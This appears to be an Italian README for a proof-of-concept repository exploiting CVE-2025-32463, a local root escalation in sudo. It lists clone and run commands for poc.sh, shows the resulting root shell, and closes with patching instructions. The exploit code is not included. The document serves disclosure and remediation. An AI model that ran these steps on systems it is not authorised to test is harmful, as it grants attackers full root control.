
Proof-of-concept exploit per CVE-2025-32463, un'escalation dei privilegi locale nelle versioni di sudo 1.9.14-1.9.17, con libreria precompilata e istruzioni di remediation.
Questo repository contiene una proof-of-concept (PoC) per l'exploit di CVE-2025-32463, una vulnerabilità di escalation dei privilegi locale in sudo scoperta da Rich Mirch.
https://github.com/kh4sh3i/CVE-2025-32463
Questa PoC è destinata esclusivamente a scopi didattici e di test autorizzati. Non utilizzare questo codice su sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione a testare.
git clone https://github.com/zinzloun/CVE-2025-32463.git
cd CVE-2025-32463
Verifica se l'utente corrente ha privilegi bassi
:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)
Verifica i requisiti
:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf
Esegui l'exploit
:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)
Per i sistemi connessi basta eseguire
sudo apt update && sudo apt upgrade
Per i sistemi isolati (air gapped): puoi ottenere l'ultimo pacchetto sudo da qui: https://github.com/sudo-project/sudo/releases/download/v1.9.17p1/sudo_1.9.17-2_ubu2404_amd64.deb. Una volta trasferito il pacchetto sul sistema di destinazione, basta eseguire:
sudo dpkg -i sudo_1.9.17-2_ubu2404_amd64.deb